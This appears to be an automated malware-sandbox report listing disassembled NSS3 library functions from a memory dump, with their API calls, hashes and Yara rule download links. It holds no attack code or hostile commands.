Instruction ID: 31e6b1b70d17abfccef8034e866fec952b70e3f142682bed0269eab2780b81a6
Opcode Fuzzy Hash: 621cea46661fa95a5d4e390643d30bfa0668c6eb551038a1ea539d7ea98f3291
Instruction Fuzzy Hash: 72619D71B012059FDB04CF68DC88A6A7BB2FB49314F10856DE91AAB790DB31AD06CB95

Function 6C617F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C617FB2

Part of subcall function 6C59BA40: TlsGetValue.KERNEL32 ref: 6C59BA51
Part of subcall function 6C59BA40: TlsGetValue.KERNEL32 ref: 6C59BA6B
Part of subcall function 6C59BA40: EnterCriticalSection.KERNEL32 ref: 6C59BA83
Part of subcall function 6C59BA40: TlsGetValue.KERNEL32 ref: 6C59BAA1
Part of subcall function 6C59BA40: _PR_MD_UNLOCK.NSS3 ref: 6C59BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C617FD4

Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C6690AB
Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C6690C9
Part of subcall function 6C669090: EnterCriticalSection.KERNEL32 ref: 6C6690E5
Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C669116
Part of subcall function 6C669090: LeaveCriticalSection.KERNEL32 ref: 6C66913F

Part of subcall function 6C619430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6C619466

PR_ExitMonitor.NSS3(?), ref: 6C61801B
PR_EnterMonitor.NSS3(?), ref: 6C618034
TlsGetValue.KERNEL32 ref: 6C6180A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6180C0
PR_ExitMonitor.NSS3(?), ref: 6C61811C
PR_ExitMonitor.NSS3(?), ref: 6C618134

Strings

), xrefs: 6C6180DB

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 412926d5f7ad3aca2116e5a87068e6960a65c3cfbb7590f1f314cce7c94a5c92
Instruction ID: bfd4ce1b926718abc61da05471d0f3772fe434216fb1a89408a133c6ac10a27f
Opcode Fuzzy Hash: 412926d5f7ad3aca2116e5a87068e6960a65c3cfbb7590f1f314cce7c94a5c92
Instruction Fuzzy Hash: 23513472A083059AE7109B39CC017EB77B0AF5A31EF054529DD5942E61EB31A508C78E

Function 6C5BFCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C5BFCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C5BFCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C5BFCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5BFD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C5BFD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C5BFD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C5BFD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5BFD84

Strings

:, xrefs: 6C5BFD78

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: a952af62b2b9bda8c6a4c602d6355cea9c5ecf4e278dd7b297b0798774cbe875
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: E031B1BE9002159FEB008AA8DC157AF7BA8AF55318F250634DD14B7B00E772E918C7D6

Function 6C5A0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C5A0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C5A0F84

Part of subcall function 6C5FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6D18D0,?), ref: 6C5FB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C5BF59B,6C6C890C,?), ref: 6C5A0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C5A0FC1

Part of subcall function 6C600BE0: malloc.MOZGLUE(6C5F8D2D,?,00000000,?), ref: 6C600BF8
Part of subcall function 6C600BE0: TlsGetValue.KERNEL32(6C5F8D2D,?,00000000,?), ref: 6C600C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C5A0FDB
PR_CallOnce.NSS3(6C702AA4,6C6012D0), ref: 6C5A0FEF
PL_FreeArenaPool.NSS3(?), ref: 6C5A1001
PL_FinishArenaPool.NSS3(?), ref: 6C5A1009

Strings

security, xrefs: 6C5A0F5C

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: b365cd85ff6f6968c6957bedd63a09513deac6fa7763380b76e2981776d69847
Instruction ID: 54d4723cb1fbb1dc8af084f29410ae6b4761c8788baa63a1e4a946dae238972a
Opcode Fuzzy Hash: b365cd85ff6f6968c6957bedd63a09513deac6fa7763380b76e2981776d69847
Instruction Fuzzy Hash: 142128B1A04204ABE700DF25DD41AAF77B4EF8925CF048519FC18A7601FB31D956CBD6

Function 6C5A6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C5A7D8F,6C5A7D8F,?,?), ref: 6C5A6DC8

Part of subcall function 6C5FFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C5FFE08
Part of subcall function 6C5FFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C5FFE1D
Part of subcall function 6C5FFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C5FFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C5A7D8F,?,?), ref: 6C5A6DD5

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C6C8FA0,00000000,?,?,?,?,6C5A7D8F,?,?), ref: 6C5A6DF7

Part of subcall function 6C5FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6D18D0,?), ref: 6C5FB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C5A6E35

Part of subcall function 6C5FFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C5FFE29
Part of subcall function 6C5FFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C5FFE3D
Part of subcall function 6C5FFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C5FFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C5A6E4C

Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C6C8FE0,00000000), ref: 6C5A6E82

Part of subcall function 6C5A6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C5AB21D,00000000,00000000,6C5AB219,?,6C5A6BFB,00000000,?,00000000,00000000,?,?,?,6C5AB21D), ref: 6C5A6B01
Part of subcall function 6C5A6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C5A6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C5A6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C5A6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C6C8FE0,00000000), ref: 6C5A6F6B
PR_SetError.NSS3(FFFFE005,00000000,6C5A7D8F,?,?), ref: 6C5A6FE1

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 606de505c8f1a90b2c1028e0cadb01cb494376e7a309caa8cc17d5b4574fdc90
Instruction ID: 85bf530fcfdfffcd2210a872173689840ff28af93410a5f554e142550c8c64bb
Opcode Fuzzy Hash: 606de505c8f1a90b2c1028e0cadb01cb494376e7a309caa8cc17d5b4574fdc90
Instruction Fuzzy Hash: 58716F71E107469BDB00CF5ACD40AAE7BA4BF99348F154229E818D7B11FB70E996CB90

Function 6C5E0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5E1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5E1085
PK11_GetAllTokens.NSS3 ref: 6C5E10B1
free.MOZGLUE(?), ref: 6C5E1107
PR_SetError.NSS3(00000000,00000000), ref: 6C5E1172
free.MOZGLUE(?), ref: 6C5E1182
free.MOZGLUE(?), ref: 6C5E11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C5E11C5

Part of subcall function 6C5E52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C5BEAC5,00000001), ref: 6C5E52DF
Part of subcall function 6C5E52C0: EnterCriticalSection.KERNEL32(?), ref: 6C5E52F3
Part of subcall function 6C5E52C0: PR_Unlock.NSS3(?), ref: 6C5E5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C5E11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C5E11F3

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 7db296795660777e30375e46a2297c8abe1f543c0f29710cd2eea4845ba26fb2
Instruction ID: f4026e03bd05930fdb54126d757cb2b796a5a11b30dd68e6308968c24836c0ba
Opcode Fuzzy Hash: 7db296795660777e30375e46a2297c8abe1f543c0f29710cd2eea4845ba26fb2
Instruction Fuzzy Hash: 7161A1B0E003459BEB04DF65DC81B9BBBB5AF49348F144128E819AB742EB31E945CB65

Function 6C5EADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C5CCDBB,?,6C5CD079,00000000,00000001), ref: 6C5EAE10
EnterCriticalSection.KERNEL32(?,?,6C5CCDBB,?,6C5CD079,00000000,00000001), ref: 6C5EAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C5CD079,00000000,00000001), ref: 6C5EAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C5CCDBB,?,6C5CD079,00000000,00000001), ref: 6C5EAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C5CCDBB,?,6C5CD079,00000000,00000001), ref: 6C5EAE7F
TlsGetValue.KERNEL32(?,6C5CCDBB,?,6C5CD079,00000000,00000001), ref: 6C5EAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C5CCDBB,?,6C5CD079,00000000,00000001), ref: 6C5EAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C5CCDBB,?,6C5CD079,00000000,00000001), ref: 6C5EAEF1
free.MOZGLUE(6C5CCDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5CCDBB,?), ref: 6C5EAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C5CCDBB,?,6C5CD079,00000000,00000001), ref: 6C5EAF30

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: a6cb4a5b0753a82278cfd8eee3d15e61f1e59ecc1b66872dc8500b719b913a95
Instruction ID: 11d4ecb5a5f760c6f8bd147fec43c81727ad59be68c13d6c8deafacb7529f13f
Opcode Fuzzy Hash: a6cb4a5b0753a82278cfd8eee3d15e61f1e59ecc1b66872dc8500b719b913a95
Instruction Fuzzy Hash: D0517BB5A00602AFDB01DF29DC84B5ABBB4BF49318F1446A5E81997E11E731E8A4CBD1

Function 6C5C4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C5CAB7F,?,00000000,?), ref: 6C5C4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C5CAB7F,?,00000000,?), ref: 6C5C4CC8
TlsGetValue.KERNEL32(?,6C5CAB7F,?,00000000,?), ref: 6C5C4CE0
EnterCriticalSection.KERNEL32(?,?,6C5CAB7F,?,00000000,?), ref: 6C5C4CF4
PL_HashTableLookup.NSS3(?,?,?,6C5CAB7F,?,00000000,?), ref: 6C5C4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C5C4D10

Part of subcall function 6C64DD70: TlsGetValue.KERNEL32 ref: 6C64DD8C
Part of subcall function 6C64DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C64DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C5C4D26

Part of subcall function 6C669DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C6B0A27), ref: 6C669DC6
Part of subcall function 6C669DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C6B0A27), ref: 6C669DD1
Part of subcall function 6C669DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C669DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C5C4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C5C4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C5C4E02

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: cc65ca0c0bccb79d0ddb12d2ce6a4e07d47d7c740cd15b23d90f4f0375f95127
Instruction ID: a5eace9d82c21ba196e86fbf71ed7cf7aff338c85e89c2d8cbcefd8706ddc815
Opcode Fuzzy Hash: cc65ca0c0bccb79d0ddb12d2ce6a4e07d47d7c740cd15b23d90f4f0375f95127
Instruction Fuzzy Hash: E641D8B5B00105ABEB00AF68EC80D667BB8AF56318F048574EC0997B12EB31DD14C7D3

Function 6C5ABFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5ABFFB

Part of subcall function 6C600FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5A87ED,00000800,6C59EF74,00000000), ref: 6C601000
Part of subcall function 6C600FF0: PR_NewLock.NSS3(?,00000800,6C59EF74,00000000), ref: 6C601016
Part of subcall function 6C600FF0: PL_InitArenaPool.NSS3(00000000,security,6C5A87ED,00000008,?,00000800,6C59EF74,00000000), ref: 6C60102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C5AC015

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C5AC032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C5AC04D

Part of subcall function 6C5F69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C5F6A47
Part of subcall function 6C5F69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C5F6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C5AC064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C5AC07B

Part of subcall function 6C5A8980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C5A7310), ref: 6C5A89B8
Part of subcall function 6C5A8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C5A7310), ref: 6C5A89E6
Part of subcall function 6C5A8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C5A8A00
Part of subcall function 6C5A8980: CERT_CopyRDN.NSS3(00000004,00000000,6C5A7310,?,?,00000004,?), ref: 6C5A8A1B
Part of subcall function 6C5A8980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C5A8A74

Part of subcall function 6C5A1D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C5AC097,00000000,000000B0,?), ref: 6C5A1D2C
Part of subcall function 6C5A1D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C5AC09B,00000000,00000000,00000000,?,6C5AC097,00000000,000000B0,?), ref: 6C5A1D3F
Part of subcall function 6C5A1D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C5AC087,00000000,000000B0,?), ref: 6C5A1D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C5AC0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C5AC0C9

Part of subcall function 6C5B2DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C5AC0D2,6C5AC0CE,00000000,-000000D4,?), ref: 6C5B2DF5
Part of subcall function 6C5B2DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C5AC0CE,00000000,-000000D4,?), ref: 6C5B2E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C5AC0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5AC0E3

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: bdf86b7a7b523a939ae473e9df8efb01604e6004fc0c61ec1b79455f4a6d8262
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: C92183B6A402056BFB015AA3AD81FFF366CAB4175CF080034FD04D9646FB26E91A8376

Function 6C5A2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C5A2CDA,?,00000000), ref: 6C5A2E1E

Part of subcall function 6C5FFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C5A9003,?), ref: 6C5FFD91
Part of subcall function 6C5FFD80: PORT_Alloc_Util.NSS3(A4686C60,?), ref: 6C5FFDA2
Part of subcall function 6C5FFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C60,?,?), ref: 6C5FFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C5A2E33

Part of subcall function 6C5FFD80: free.MOZGLUE(00000000,?,?), ref: 6C5FFDD1

TlsGetValue.KERNEL32 ref: 6C5A2E4E
EnterCriticalSection.KERNEL32(?), ref: 6C5A2E5E
PL_HashTableLookup.NSS3(?), ref: 6C5A2E71
PL_HashTableRemove.NSS3(?), ref: 6C5A2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C5A2E96
PR_Unlock.NSS3 ref: 6C5A2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5A2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5A2EC5

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 1158814970e2cc235ae4cfa9cf6e7604f3046f5833bdcc0309eea335487f1881
Instruction ID: d1c21ea8017e1cd92b8829084a545fd9593afa8de562bcc7d9977b4bb1ed0967
Opcode Fuzzy Hash: 1158814970e2cc235ae4cfa9cf6e7604f3046f5833bdcc0309eea335487f1881
Instruction Fuzzy Hash: 7D210DB6B00100A7DF011B66EC4AAAB3A75DB9235DF044534ED1C82B11FB32C969C7E1

Function 6C58FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C58FD18
sqlite3_initialize.NSS3 ref: 6C58FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C58FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C58FD99
sqlite3_free.NSS3(00000000), ref: 6C58FE3C
sqlite3_free.NSS3(?), ref: 6C58FEE3
